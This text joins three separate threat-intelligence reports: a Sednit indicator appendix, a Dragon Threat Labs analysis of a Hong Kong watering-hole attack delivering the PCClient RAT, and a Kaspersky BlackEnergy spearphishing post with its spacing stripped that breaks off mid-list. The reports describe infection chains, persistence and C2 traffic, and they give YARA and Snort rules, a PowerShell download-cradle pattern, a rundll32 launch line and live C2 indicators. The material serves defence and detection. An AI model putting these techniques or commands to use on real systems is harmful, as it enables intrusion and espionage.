Seduploader ESET Detection Names OSX/Agent.
AE Win32/Agent.
XBZ Win32/Agent.
XIA Win32/Agent.
XIJ Win32/Agent.
XIO Win32/Agent.
XFK Win32/Sednit.
Z Win32/Sednit.
AA Win32/Sednit.
AB Win32/Sednit.
AC Win32/Sednit.
AF Win32/Sednit.
AG Win32/Sednit.
AR Win32/Sednit.
AS Win32/Sednit.
AT Win32/Sednit.
AU Win32/Small.
NNY Win64/TrojanDropper.
Small.
A Win64/TrojanDropper.
Small.
B Win64/Agent.
DJ Hashes 015425010bd4cf9d511f7fcd0fc17fc17c23eec1 0f7893e2647a7204dbf4b72e50678545573c3a10 10686cc4e46cf3ffbdeb71dd565329a80787c439 17661a04b4b150a6f70afdabe3fd9839cc56bee8 21835aafe6d46840bb697e8b0d4aac06dec44f5b 2663eb655918c598be1b2231d7c018d8350a0ef9 2c86a6d6e9915a7f38d119888ede60b38ab1d69d 351c3762be9948d01034c69aced97628099a90b0 3956cfe34566ba8805f9b1fe0d2639606a404cd4 4d5e923351f52a9d5c94ee90e6a00e6fced733ef 4fae67d3988da117608a7548d9029caddbfb3ebf 51b0e3cd6360d50424bf776b3cd673dd45fd0f97 51e42368639d593d0ae2968bd2849dc20735c071 5c3e709517f41febf03109fa9d597f2ccc495956 5c3e709517f41febf03109fa9d597f2ccc495956 63d1d33e7418daf200dc4660fc9a59492ddd50d9 69d8ca2a02241a1f88a525617cf18971c99fb63b 6fb3fd8c2580c84314b14510944700144a9e31df 80dca565807fa69a75a7dd278cef1daaee34236e 842b0759b5796979877a2bac82a33500163ded67 8f99774926b2e0bf85e5147aaca8bbbbcc5f1d48 90c3b756b1bb849cba80994d445e96a9872d0cf5 99f927f97838eb47c1d59500ee9155adb55b806a 9fc43e32c887b7697bf6d6933e9859d29581ead0 a43ef43f3c3db76a4a9ca8f40f7b2c89888f0399 a5fca59a2fae0a12512336ca1b78f857afc06445 a857bccf4cc5c15b60667ecd865112999e1e56ba b4a515ef9de037f18d96b9b0e48271180f5725b7 b7788af2ef073d7b3fb84086496896e7404e625e b8aabe12502f7d55ae332905acee80a10e3bc399 c1eae93785c9cb917cfb260d3abf6432c6fdaf4d c2e8c584d5401952af4f1db08cf4b6016874ddac c345a85c01360f2833752a253a5094ff421fc839 d3aa282b390a5cb29d15a97e0a046305038dbefe d85e44d386315b0258847495be1711450ac02d9f d9989a46d590ebc792f14aa6fec30560dfe931b1 e5fb715a1c70402774ee2c518fb0e4e9cd3fdcff e742b917d3ef41992e67389cd2fe2aab0f9ace5b ed9f3e5e889d281437b945993c6c2a80c60fdedc En Route with Sednit 37 f024dbab65198467c2b832de9724cb70e24af0dd f3d50c1f7d5f322c1a1f9a72ff122cac990881ee f7608ef62a45822e9300d390064e667028b75dea File Names amdcache.dll api-ms-win-core-advapi-l1-1-0.dll api-ms-win-downlevel-profile-l1-1-0.dll api-ms-win-samcli-dnsapi-0-0-0.dll apisvcd.dll btecache.dll cormac.mcr csrs.dll csrs.exe decompbufferrawfix-0x624-1643712-1.dll decompbufferrawpe-0x7c4-1429488-1.bin hazard.exe hello32.dll hpinst.exe iprpp.dll lsasrvi.dll mgswizap.dll runrun.exe vmware_manager.exe Temporary File Names jhuhugit.temp jhuhugit.tmp jkeyskw.temp Registry Keys HKCU\Software\Microsoft\Office test\Special\Perf Mutex Names //dfc01ell6zsq3-ufhhf \BaseNamedObjects\513AbTAsEpcq4mf6TEacB \BaseNamedObjects\ASLIiasiuqpssuqkl713h \BaseNamedObjects\B5a20F03e6445A6987f8EC87913c9 \BaseNamedObjects\sSbydFdIob6NrhNTJcF89uDqE2 ASijnoKGszdpodPPiaoaghj8127391 CC Server Domain Names swsupporttools.com www.capisp.com www.dataclen.org www.mscoresvw.com www.windowscheckupdater.net www.acledit.com www.biocpl.org www.wscapi.com www.tabsync.net www.storsvc.org www.winupdatesysmic.com PDB Paths D:\REDMINE\JOINER\HEADER_PAYLOAD\header_payload\Uploader\Release\Uploader.pdb En Route with Sednit 38 References 1.
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GitHub,ESETIndicatorsofCompromises,https://github.com/eset/malware-ioc/sednit 11.
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Wikipedia,MoscowTime,https://en.wikipedia.org/wiki/Moscow_Time 15.
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The hyperlink actually points to a domain used for phishing Figure 4.Fake Gmail login panel.
Targets name and email address have been redacted Figure 5.Number of URLs that were shortened per day during the first two months Figure 6.Number of times targets were attacked Figure 7.Number of URLs that were shortened per hour of the day Figure 8.Targeted phishing email sent in May 2016 Figure 9.Sedkit workflow Figure 10.Example of Sedkit targeted phishing email from March 2016 Figure 11.Example of a Sedkit report Figure 12.Slide extracted from a BlackHat USA 2014 presentation Figure 13.Seduploader Major Events Figure 14.Seduploaders dropper workflow Figure 15.Anti-analysis trick pseudocode Figure 16.Seduploaders payload workflow Figure 17.Workflow of the network link establishment
D r a g o n  T h r e a t  L a b s ,  H o n g  K o n g Author: Dan January 12 2015 Insight in to a strategic web compromise and attack campaign against Hong Kong infrastructure.
Revealing an attackers persistence, sophistication and aggression.
D r a g o n  T h r e a t  L a b s ,  H o n g  K o n g Page 1 Contents Introduction ........................................................................................................................................ 2 Strategic web compromise ................................................................................................................. 2 First stage malware (Dropper component  Swisyn part 1) ............................................................ 4 Second stage (Decoder and loader  Swisyn part 2) ....................................................................... 6 Final stage (RAT  PCClient) ............................................................................................................. 7 Infrastructure  associations .............................................................................................................. 9 Detection  mitigation ..................................................................................................................... 11 Appendix ........................................................................................................................................... 14 Contact .............................................................................................................................................. 15 D r a g o n  T h r e a t  L a b s ,  H o n g  K o n g Page 2 Introduction Over the past several months an increasing number of strategic web compromises (wateringholes) have been discovered on websites in Hong Kong.
This rise in activity coincides with the Occupy Central protests.
In this post we will talk about a single attack, whilst not trying to distract attention from the vast number of attacks and subsequent compromises that remain persistent in Hong Kong.
Whilst going about our daily business we were alerted to a website that began serving a malicious payload alongside its usual web page.
The initial investigation revealed that the attack and associated payloads are part of an ongoing attack campaign by an Advanced Persistent Threat group that is known to target various sectors of industry and Government in Hong Kong.
In this instance we have chosen to obfuscate details of the compromised website to protect the identity of the victim.
This website belongs to a private educational institution who, since being notified about the compromise, has removed the malicious executable and remediated the compromised of their server, thus breaking a crucial link in the chain of this attack.
Strategic web compromise The website in question was implanted with some HTML code that simply reaches out to a secondary website and downloads malware.
Whilst this in itself is not interesting the methodology used to obfuscate code and evade detection are.
The underlying code in the first page that loads exploits a vulnerability in Internet Explorer (CVE-2014-6332) and runs several scripts, each with support for different operating systems and methods of downloading and executing a file from a website.
The first script is obfuscated Visual Basic Script (VBS) By decoding this we can see the true intentions of the script  which opens a whole new can of worms.
http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2014-6332 D r a g o n  T h r e a t  L a b s ,  H o n g  K o n g Page 3 This code is extremely interesting because not only does it contain VBScript but also contains PowerShell script.
Once running it uses an elaborate way to detect the operating system version and then selects whether to use VBScript or Powershell based on the result VBScript for Windows XP and Powershell for newer versions of Windows.
The Powershell script is compressed and Base64 encoded.
By decoding this script we can determine its nature As you can see this powershell script simply extracts another VBScript and executes it.
The VBScript then downloads the first binary payload into the users temporary directory and names it plug.exe.
If the operating system version is too old to support Powershell then the script will attempt to use VBScript.
This VBScript downloads the primary payload to the temporary directory and names it z1.exe.
D r a g o n  T h r e a t  L a b s ,  H o n g  K o n g Page 4 First stage malware (Dropper component  Swisyn part 1) The first binary payload that lands on the system is relatively simple and serves as a method of yet again detecting the operating system version and where to drop a secondary payload file.
Whilst this binary is not complicated by nature it has been designed to masquerade as a legitimate application and contains functionality to evade anti-virus.
This malware implant is commonly detected by anti- virus as Swisyn.
Upon running this malware determines the operating system version, but only delineating between Windows XP, Visa and above.
It appears that this functionality is included because the secondary payload comes in both 32bit and 64bit versions.
Both of these second stage payloads are obfuscated but decoded with a simple bitwise operation as per below https://www.virustotal.com/en/file/143b17615314b43c3fd1b26d9432ce58298bec96981186023540670203b0b8d4/analysis/ D r a g o n  T h r e a t  L a b s ,  H o n g  K o n g Page 5 In this scenario, the secondary payloads can be decoded using a simple subtraction of 3 followed by an XOR of 3 from each byte.
This file is then written to User\Application Data\Microsoft in a newly created folder name wuauclt.
The filename depends on the operating system version, for Windows XP it is clbcatq.dll, for Windows Vista and above it is profapi.dll.
Once this file has been written to disk a file from the Windows System32 folder is copied into the directory.
This file, named wuauclt.exe, is the Windows update client interface and it a standard windows file.
By executing this file in a specific manner it will load the freshly dropped DLL file  affectively this is known as DLL hijacking.
Following this action another file, named wuauclt.dat, is written on to the disk under the same directory.
This file is encoded and not decoded at this stage of the attack.
To complete the file drop wuauclt.exe is executed.
The 64bit version of this dropper is vastly similar in functionality although it offers slightly more efficiency in the code.
The decoding routine is more simplified than its 32bit counterpart and the decoding key is hardcoded D r a g o n  T h r e a t  L a b s ,  H o n g  K o n g Page 6 The following pseudo-code can decode both 32bit and 64bit versions of the DLL stored in wuauclt.dat Not to dwell on a dropper, lets move on to the second stage malware.
Second stage (Decoder and loader  Swisyn part 2) The malware second stage is now loaded and running.
Interestingly, this payload is also detected by anti-virus as Swisyn.
This DLL is again fairly simple and acts as a secondary dropper.
It primarily serves as a method of decoding one of the files dropped by the previous malware stage and creating a method to start the malware on system boot-up or user login.
In order to do this the malware firstly decodes a file that was dropped by the previous stage  in this case it is wuauclt.dat.
The decoding routine is again overly complex but ultimately amounts to a simple subtraction and XOR, again both of these operations are performed by the number 3, thus each byte is subtracted by 3 and then XORd with 3 https://www.virustotal.com/en/file/f79392364595487a049d9ebce118781063225af00a57e80c6591c01a5ccc5b21/analysis/1420727554/ D r a g o n  T h r e a t  L a b s ,  H o n g  K o n g Page 7 Once this file has been decoded it is loaded into memory and executed.
This file, once decoded is the third and final payload.
The method of leaving the encoded file on disk and only decoding it in memory is to thwart poorly configured anti-virus or disk surface heuristic scanners.
Finally to wrap up, an entry is created in the registry named wuauclt is created under HKCU\Software\Microsoft\Windows\Current Version\Run to ensure that this file is executed upon user-login.
Final stage (RAT  PCClient) Finally we are left with a full payload.
Unsurprisingly the 3rd and final stage of this part of the attack is a fully fledged RAT (Remote Administration Tool), which is detected by anti-virus as PCClient.
This RAT allows the attacker to control the infected workstation and perform a vast array of administrative functions such as: Downloading files to the infected workstation Uploading from the infected workstation files to the attackers Enumerate/list all connected drives such as network shares or external devices Search the infected workstations hard drive for files Deleting, copying and moving files on the infected workstation Executing commands on the infected workstation A high-level view of the command structure gives us an idea as to how simple this functionality can seem, but does not turn away from how damaging the affects can be: https://www.virustotal.com/en/file/debabe7707040b16172545fc174bd4ded36599ebd032a6f09baa2653b32e4f21/analysis/1420727848/ D r a g o n  T h r e a t  L a b s ,  H o n g  K o n g Page 8 Once the RAT has been loaded on the infected machine it begins calling out to the command and control server (phoning home) and waits for the attackers to issue one of the above commands to the victim.
As we usually see with APT attacks the malware controllers use a specific ID to code their attack campaign, which in this case is C00BBB.
Information about the victim system is collected and posted off to the command and control server.
This information gives the attacker a brief description about the machine.
The information consists of: Machine hostname Total amount of RAM memory Operating system and service pack level Attack campaign code This information is encoded using a simple bitwise operation and then sent to the command and control server.
For example: Unencoded data Encoded data 44 45 4C 4C 2D 31 37 38  DELL-178 44 33 43 00 00 00 00 00  D3C..... 00 00 00 00 00 00 00 00  ........ 00 00 00 00 00 00 00 00  ........ 00 00 00 00 00 00 00 00  ........ 00 00 00 00 00 00 00 00  ........ 00 00 00 00 00 00 00 00  ........ 00 00 00 00 00 00 00 00  ........ 35 31 32 4D 42 00 00 00  512MB... 00 00 00 00 00 00 00 00  ........ 00 00 00 00 00 00 00 00  ........ 00 00 00 00 00 00 00 00  ........ 57 69 6E 20 58 50 20 53  Win XP S 50 33 20 28 42 75 69 6C  P3 (Buil BA B9 B2 B2 51 4D 47 46  QMGF BA 4B BB 7E 7E 7E 7E 7E  K 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 49 4D 4C B1 BC 7E 7E 7E  IML 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E A7 95 90 5E A6 AE 5E AB AE 4B 5E 56 BC 89 95 92  KV D r a g o n  T h r e a t  L a b s ,  H o n g  K o n g Page 9 64 20 32 36 30 30 29 00  d 2600).
00 00 00 00 00 00 00 00  ........ 00 00 00 00 00 00 00 00  ........ 00 00 00 00 00 00 00 00  ........ 00 00 00 00 00 00 00 00  ........ 00 00 00 00 00 00 00 00  ........ 43 30 30 42 42 42 00 00  C00BBB.. 9A 5E 4C 48 4E 4E 55 7E  LHNNU 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E BB 4E 4E BC BC BC 7E 7E  NN Whilst this may seem to make the data harder to recover it actually makes detection of the traffic easier.
To decode the traffic a simple calculation can be performed by reversing the encoding operations.
In this case the malware simply increases the initial encoding key by 1, then adds this value to each byte in the buffer and finally XORs each byte.
Once again, the following pseudo-code can decode this data Infrastructure  associations During in the investigation we performed analysis of the infrastructure that this malware communicates with.
On this occasion we have not been able to gain physical access to the command and control server as it is legitimate, but compromised production infrastructure.
The graph below shows the flow in which various parts of the attack are loaded and how they chain together.
D r a g o n  T h r e a t  L a b s ,  H o n g  K o n g Page 10 D r a g o n  T h r e a t  L a b s ,  H o n g  K o n g Page 11 Detection  mitigation This attack can be detected and/or mitigated at each stage.
In order to help organisations protect themselves we have created a number of network IDS rules and disk-scan rules that can be used with Snort and Yara.
Rules are provided in a best-effort basis and we cannot vouch for their efficiency in your environment.
Wateringhole code rule apt_win_wateringhole meta: author  dragonthreatlab description  Detects code from APT wateringhole strings: str1  function runmumaa() str2  Invoke-Expression (New-Object IO.StreamReader ((New- Object IO.Compression.
DeflateStream ((New-Object IO.MemoryStream (,([Convert]::FromBase64String( str3  function MoSaklgEs7(k) condition: any of (str)  Swisyn rule apt_win_swisyn meta: author  dragonthreatlab md5  a6a18c846e5179259eba9de238f67e41 description  File matching the md5 above tends to only live in memory, hence the lack of MZ header check.
strings: mz  4D 5A str1  /ShowWU ascii str2  IsWow64Process str3  regsvr32 str4  8A 11 2A 55 FC 8B 45 08 88 10 8B 4D 08 8A 11 32 55 FC 8B 45 08 88 10 condition: mz at 0 and all of (str)  Malware dropper 32bit rule apt_win32_dropper meta: author  dragonthreatlab md5  ad17eff26994df824be36db246c8fb6a description  APT malware used to drop PcClient RAT strings: mz  4D 5A str1  clbcaiq.dll ascii str2  profapi_104 ascii str3  /ShowWU ascii str4  Software\\Microsoft\\Windows\\CurrentVersion\\ ascii D r a g o n  T h r e a t  L a b s ,  H o n g  K o n g Page 12 str5  8A 08 2A CA 32 CA 88 08 40 4E 75 F4 5E condition: mz at 0 and all of (str)  Malware dropper 64bit rule apt_win64_dropper meta: author  dragonthreatlab md5  ad17eff26994df824be36db246c8fb6a description  APT malware used to drop PcClient RAT strings: mz  4D 5A str1  clbcaiq.dll ascii str2  profapi_104 ascii str3  \\Microsoft\\wuauclt\\wuauclt.dat ascii str4  0F B6 0A 48 FF C2 80 E9 03 80 F1 03 49 FF C8 88 4A FF 75 EC condition: mz at 0 and all of (str)  Encoded version of PcClient rule apt_win_disk_pcclient meta: author  dragonthreatlab md5  55f84d88d84c221437cd23cdbc541d2e description  Encoded version of pcclient found on disk strings: header  51 5C 96 06 03 06 06 06 0A 06 06 06 FF FF 06 06 BE 06 06 06 06 06 06 06 46 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 EE 06 06 06 10 1F BC 10 06 BA 0D D1 25 BE 05 52 D1 25 5A 6E 6D 73 26 76 74 6F 67 74 65 71 26 63 65 70 70 6F 7A 26 64 69 26 74 79 70 26 6D 70 26 4A 4F 53 26 71 6F 6A 69 30 11 11 0C 2A 06 06 06 06 06 06 06 73 43 96 1B 37 24 00 4E 37 24 00 4E 37 24 00 4E BA 40 F6 4E 39 24 00 4E 5E 41 FA 4E 33 24 00 4E 5E 41 FC 4E 39 24 00 4E 37 24 FF 4E 0D 24 00 4E FA 31 A3 4E 40 24 00 4E DF 41 F9 4E 36 24 00 4E F6 2A FE 4E 38 24 00 4E DF 41 FC 4E 38 24 00 4E 54 6D 63 6E 37 24 00 4E 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 56 49 06 06 52 05 09 06 5D 87 8C 5A 06 06 06 06 06 06 06 06 E6 06 10 25 0B 05 08 06 06 1C 06 06 06 1A 06 06 06 06 06 06 E5 27 06 06 06 16 06 06 06 36 06 06 06 06 06 16 06 16 06 06 06 04 06 06 0A 06 06 06 06 06 06 06 0A 06 06 06 06 06 06 06 06 76 06 06 06 0A 06 06 06 06 06 06 04 06 06 06 06 06 16 06 06 16 06 06 condition: header at 0  D r a g o n  T h r e a t  L a b s ,  H o n g  K o n g Page 13 In-memory version on PcClient rule apt_win_memory_pcclient meta: author  dragonthreatlab md5  ec532bbe9d0882d403473102e9724557 description  File matching the md5 above tends to only live in memory, hence the lack of MZ header check.
strings: str1  Kill You ascii str2  4d-02d-02d 02d:02d:02d ascii str3  4.2f  KB ascii encodefunc  8A 08 32 CA 02 CA 88 08 40 4E 75 F4 condition: all of them  PcClient malware beaconing alert tcp HOME_NET any - EXTERNAL_NET [80,443] (msg:MALWARE DTL ID 12012015 - PcClient beacon flow:established,to_server content:BB 4E 4E BC BC BC 7E 7E nocase offset:160 depth:8 classtype:trojan-activty sid:YOUR_SID rev:20122014) Malware domain alert udp HOME_NET any - EXTERNAL_NET 53 (msg:MALWARE - DTL ID 12012015 - C2 Domain content:06aoemvp03com classtype:trojan-activity sid:YOUR_SID rev: 20122014) C2 server IP 1 alert ip HOME_NET any  45.64.74.101 any (msg:MALWARE - DTL ID 12012015  C2 IP Address classtype:trojan-activity sid:YOUR_SID rev: 20122014) C2 server IP 2 alert ip HOME_NET any  103.229.127.104 any (msg:MALWARE - DTL ID 12012015 - C2 IP Address  classtype:trojan-activity sid:YOUR_SID rev: 20122014) D r a g o n  T h r e a t  L a b s ,  H o n g  K o n g Page 14 Appendix The following artefacts were found during the investigation MD5s Network artefacts a6a18c846e5179259eba9de238f67e41 55f84d88d84c221437cd23cdbc541d2e a6a18c846e5179259eba9de238f67e41 279ef79f904476ba0f9f44c87358bb1f 42b76c0503a6bf21f1ea86e0b14d67ea cff25fe24a90ef63eaa168c07008c2bb ad17eff26994df824be36db246c8fb6a f66b64ef984ac46ac7395358059979bc efd9dc39682312d6576468f5c0eb6236 c.aoemvp.com aoemvp.com lim.kiuhotmail.com 45.64.74.101 103.229.127.104 D r a g o n  T h r e a t  L a b s ,  H o n g  K o n g Page 15 Contact For all questions relating to the publication or specifics in this document please contact us via one of the following methods: Twitter: dragonthreatlab Website: http://dragonthreat.blogspot.hk Email: dragonthreatlabsgmail.com Kind regards, Dan Dragon Threat Labs https://twitter.com/DragonThreatLab http://dragonthreat.blogspot.hk/ mailto:dragonthreatlabsgmail.com
4/3/2016 BlackEnergy APT Attacks In Ukraine Employ Spearphishing With Word Documents - Securelist https://securelist.com/blog/research/73440/blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/ 1/9 APT  BLACKENERGY  DDOS-ATTACKS  SCADA  SOCIAL ENGINEERING  WIPER GReAT Kaspersky Labs Global Research  Analysis Team e_kaspersky/great Latelastyear,awaveofcyberattackshitseveralcritical sectorsinUkraine.
Widelydiscussedinthemedia,the attackstookadvantageofknownBlackEnergyTrojansas wellasseveralnewmodules.
BlackEnergyisaTrojanthatwascreatedbyahackerknown asCr4sh.
In2007,hereportedlystoppedworkingonitand soldthesourcecodeforanestimated700.Thesourcecode appearstohavebeenpickedbyoneormorethreatactors andwasusedtoconductDDoSattacksagainstGeorgiain 2008.TheseunknownactorscontinuedlaunchingDDoS attacksoverthenextfewyears.
Around2014,aspecificuser groupofBlackEnergyattackerscametoourattentionwhen theybegandeployingSCADArelatedpluginstovictimsinthe ICSandenergysectorsaroundtheworld.
Thisindicateda BlackEnergy APT Attacks in Ukraine employ spearphishing with Word documents By GReAT on January 28, 2016.
11:01 am RESEARCH https://securelist.com/all?tag538 https://securelist.com/all?tag580 https://securelist.com/all?tag533 https://securelist.com/all?tag730 https://securelist.com/all?tag29 https://securelist.com/all?tag214 https://securelist.com/author/great/ http://twitter.com/e_kaspersky/great https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/ http://archive.is/RFBU https://securelist.com/analysis/publications/36309/black-ddos/ https://securelist.com/analysis/publications/36309/black-ddos/ https://securelist.com/author/great/ https://securelist.com/all?category24 4/3/2016 BlackEnergy APT Attacks In Ukraine Employ Spearphishing With Word Documents - Securelist https://securelist.com/blog/research/73440/blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/ 2/9 uniqueskillset,wellabovetheaverageDDoSbotnetmaster.
Forsimplicity,werecallingthemtheBlackEnergyAPTgroup.
OneofthepreferedtargetsoftheBlackEnergyAPThas alwaysbeenUkraine.
Sincethemiddleof2015,oneofthe preferredattackvectorsforBlackEnergyinUkrainehasbeen ExceldocumentswithmacrosthatdroptheTrojantodiskif theuserchoosestorunthescriptinthedocument.
Afewdaysago,wediscoveredanewdocumentthatappears tobepartoftheongoingBlackEnergyAPTgroupattacks againstUkraine.
UnlikepreviousOfficefilesusedinprevious attacks,thisisnotanExcelworkbook,butaMicrosoftWord document.
ThelureusedadocumentmentioningtheUkraine RightSectorpartyandappearstohavebeenusedagainsta televisionchannel.
Introduction Attheendofthelastyear,awaveofattackshitseveral criticalsectorsinUkraine.
Widelydiscussedinthemediaand byourcolleaguesfromESET,iSIGHTPartnersandother companies,theattackstookadvantageofbothknown BlackEnergyTrojansaswellasseveralnewmodules.
Avery goodanalysisandoverviewoftheBlackEnergyattacksin Ukrainethroughout2014and2015waspublishedbythe UkrainiansecurityfirmCysCentrum(thetextisonlyavailable inRussianfornow,butcanbereadviaGoogleTranslate).
Inthepast,wehavewrittenaboutBlackEnergy,focusingon theirdestructivepayloads,Siemensequipmentexploitation androuterattackplugins.
Youcanreadblogspublishedby myGReATcolleaguesKurtBaumgartnerandMaria Garnaevahereandhere.
Wealsopublishedaboutthe BlackEnergyDDoSattacks.
Sincemid2015,oneofthepreferredattackvectorsfor BlackEnergyinUkrainehasbeenExceldocumentswith macroswhichdropthetrojantodiskiftheuserchoosesto https://cys-centrum.com/ru/news/black_energy_2_3 https://securelist.com/blog/research/68838/be2-extraordinary-plugins-siemens-targeting-dev-fails/ https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/ https://securelist.com/analysis/publications/36309/black-ddos/ 4/3/2016 BlackEnergy APT Attacks In Ukraine Employ Spearphishing With Word Documents - Securelist https://securelist.com/blog/research/73440/blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/ 3/9 runthescriptinthedocument.
Forthehistoriansoutthere,Officedocumentswithmacros wereahugeproblemintheearly2000s,whenWordand ExcelsupportedAutorunmacros.
Thatmeantthatavirusor trojancouldrunupontheloadingofthedocumentand automaticallyinfectasystem.
Microsoftlaterdisabledthis featureandcurrentOfficeversionsneedtheuserto specificallyenabletheMacrosinthedocumenttorunthem.
Togetpastthisinconvenience,moderndayattackers commonlyrelyonsocialengineering,askingtheuserto enablethemacrosinordertoviewenhancedcontent.
Fewdaysago,wecamebyanewdocumentthatappearsto bepartoftheongoingattacksBlackEnergyagainstUkraine.
UnlikepreviousOfficefilesusedintherecentattacks,thisis notanExcelworkbook,butaMicrosoftWorddocument: RR143TB.doc(md5: e15b36c2e394d599a8ab352159089dd2) Thisdocumentwasuploadedtoamultiscannerservicefrom UkraineonJan202016,withrelativelylowdetection.
Ithasa creation_datetimeandlast_savedfieldof20150727 10:21:00.Thismeansthedocumentmayhavebeencreated andusedearlier,butwasonlyrecentlynoticedbythevictim.
Uponopeningthedocument,theuserispresentedwitha dialogrecommendingtheenablingofmacrostoviewthe document.
4/3/2016 BlackEnergy APT Attacks In Ukraine Employ Spearphishing With Word Documents - Securelist https://securelist.com/blog/research/73440/blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/ 4/9 Interestingly,thedocumentlurementionsPraviiSektor(the RightSector),anationalistpartyinUkraine.
Thepartywas formedinNovember2013andhassinceplayedanactive roleinthecountryspoliticalscene.
ToextractthemacrosfromthedocumentwithoutusingWord, orrunningthem,wecanuseapubliclyavailabletoolsuchas oledumpbyDidierStevens.
Heresabriefcutandpaste: https://en.wikipedia.org/wiki/Right_Sector 4/3/2016 BlackEnergy APT Attacks In Ukraine Employ Spearphishing With Word Documents - Securelist https://securelist.com/blog/research/73440/blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/ 5/9 Aswecansee,themacrobuildsastringinmemorythat containsafilethatiscreatedandwrittenasvba_macro.exe.
ThefileisthenpromptlyexecutedusingtheShellcommand.
Thevba_macro.exepayload(md5: ac2d7f21c826ce0c449481f79138aebd)isatypical BlackEnergydropper.
Itdropsthefinalpayloadas LOCALAPPDATA\FONTCACHE.DAT,whichisaDLL file.
Itthenproceedstorunit,usingrundll32: rundll32.exeLOCALAPPDATA\FONTCACHE.DAT,1 Toensureexecutiononeverysystemstartup,thedropper createsaLNKfileintothesystemstartupfolder,which executesthesamecommandasaboveoneverysystem boot.
APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\D0B53124E23249FC9EA9 75FA32C7C6C3.lnk 4/3/2016 BlackEnergy APT Attacks In Ukraine Employ Spearphishing With Word Documents - Securelist https://securelist.com/blog/research/73440/blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/ 6/9 Thefinalpayload(FONTCACHE.DAT,md5: 3fa9130c9ec44e36e52142f3688313ff)isaminimalistic BlackEnergy(v3)trojanthatproceedstoconnecttoits hardcodedCCserver,5.149.254.114,onPort80.The serverwaspreviouslymentionedbyourcolleaguesfrom ESETintheiranalysisearlierthismonth.
Theserveris currentlyoffline,orlimitstheconnectionsbyIPaddress.
Ifthe serverisonline,themalwareissuesasHTTPPOSTrequest toit,sendingbasicvictiminfoandrequestingcommands.
TherequestisBASE64encoded.
Someofthefieldscontain: b_idBRBRB b_gen301018stb b_ver2.3 os_v2600 os_type0 Theb_idcontainsabuildidandanuniquemachineidentifier andiscomputedfromsysteminformation,whichmakesit uniquepervictim.
Thisallowstheattackerstodistinguish betweendifferentinfectedmachinesinthesamenetwork.
Thefieldb_genseemstorefertothevictimID,whichinthis caseis301018stb.
STBcouldrefertotheUkrainianTV stationSTB,http://www.stb.ua/ru/.ThisTVstationhasbeen publiclymentionedasavictimoftheBlackEnergyWiper attacksinOctober2015.
Conclusions BlackEnergyisahighlydynamicthreatactorandthecurrent attacksinUkraineindicatethatdestructiveactionsareon theirmainagenda,inadditiontocompromisingindustrial controlinstallationsandespionageactivities.
http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/ http://www.stb.ua/ru/ 4/3/2016 BlackEnergy APT Attacks In Ukraine Employ Spearphishing With Word Documents - Securelist https://securelist.com/blog/research/73440/blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/ 7/9 Ourtargetinganalysisindicatesthefollowingsectorshave beenactivelytargetedinrecentyears.
Ifyourorganization fallsintothesecategories,thenyoushouldtakeBlackEnergy intoaccountwhendesigningyourdefences: ICS,Energy,governmentandmediainUkraine ICS/SCADAcompaniesworldwide Energycompaniesworldwide TheearliestsignsofdestructivepayloadswithBlackEnergy gobackasfarasJune2014.However,theoldversionswere crudeandfullofbugs.
Intherecentattacks,thedevelopers appeartohavegottenridoftheunsigneddriverwhichthey reliedupontowipedisksatlowlevelandreplaceditwith morehighlevelwipingcapabilitiesthatfocusonfile extensionsasopposedondisks.
Thisisnolessdestructive thanthediskpayloads,ofcourse,andhastheadvantageof notrequiringadministrativeprivilegesaswellasworking withoutproblemsonmodern64bitsystems.
Interestingly,theuseofWorddocuments(insteadofExcel) wasalsomentionedbyICSCERT,intheiralert1428101B.
ItisparticularlyimportanttorememberthatalltypesofOffice documentscancontainmacros,notjustExcelfiles.
Thisalso includesWord,asshownhereandalertedbyICSCERTand PowerPoint,aspreviouslymentionedbyCysCentrum.
IntermsoftheuseofWorddocumentswithmacrosinAPT attacks,werecentlyobservedtheTurlagrouprelyingon Worddocumentswithmacrostodropmaliciouspayloads (KasperskyPrivatereportavailable).Thisleadsustobelieve thatmanyoftheseattacksaresuccessfulandtheirpopularity https://ics-cert.us-cert.gov/alerts/ICS-ALERT-14-281-01B 4/3/2016 BlackEnergy APT Attacks In Ukraine Employ Spearphishing With Word Documents - Securelist https://securelist.com/blog/research/73440/blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/ 8/9 willincrease.
WewillcontinuetomonitortheBlackEnergyattacksin Ukraineandupdateourreaderswithmoredatawhen available.
MoreinformationaboutBlackEnergyAPTandextendedIOCs areavailabletocustomersofKasperskyIntelligence Services.
Contactintelreportskaspersky.com.
KasperskyLabproductsdetectthevarioustrojansmentioned hereas:Backdoor.
Win32.Fonten.and HEUR:TrojanDownloader.
Script.
Generic.
ToknowmoreaboutcounteringBlackEnergyandsimilar offensives,readthisarticleonKasperskyBusinessBlog.
Indicators of compromise Word document with macros (Trojan- Downloader.
Script.
Generic): e15b36c2e394d599a8ab352159089dd2 Dropper from Word document (Backdoor.
